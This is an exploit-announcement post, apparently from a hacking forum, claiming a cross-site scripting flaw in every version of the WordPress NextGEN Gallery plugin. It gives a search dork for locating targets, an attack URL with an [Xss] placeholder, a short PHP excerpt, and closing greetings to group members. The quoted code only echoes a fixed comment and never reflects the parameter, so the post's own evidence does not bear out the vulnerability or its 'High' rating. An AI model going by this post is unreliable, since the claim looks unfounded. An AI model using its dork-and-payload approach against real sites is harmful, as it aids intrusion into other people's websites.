Wordpress NextGEN Gallery plugin XSS Vulnerability

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# Exploit Title : Wordpress NextGEN Gallery plugin Cross-Site Scripting Vulnerability
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# Author        : IrIsT.Ir
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# Discovered By : Am!r
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# Home          : http://IrIsT.Ir/forum/
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# Software Link : http://wordpress.org/extend/plugins/nextgen-gallery/
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# Security Risk : High
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# Version       : All Version
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# Tested on     : GNU/Linux Ubuntu - Windows Server - win7
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# Dork          : inurl:plugins/nextgen-gallery
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#  Expl0iTs :
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#  [Target]/wp-content/plugins/nextgen-gallery/nggallery.php?test-head=[Xss]
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# C0de :
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#      if ( isset( $_GET['test-head'] ) )
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#         add_action( 'wp_head', create_function('', 'echo \'<!--wp_head-->\';'), 99999 );
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# Greats : B3HZ4D - Mikili - Dead.Zone - C0dex - TaK.FaNaR - BestC0d3r - Beni_Vanda - one hacker alone
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# 0x0ptim0us - m3hdi - F@rid - dr.tofan - skote_vahshat - Mr.Xpr - M.R.S.CO - Mr.Cicili - Dj.TiniVini
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# Alireza - H-SK33PY - Immortal Boy - Noter - & All Members In Www.IrIsT.Ir/forum & Www.Datacoders.Org
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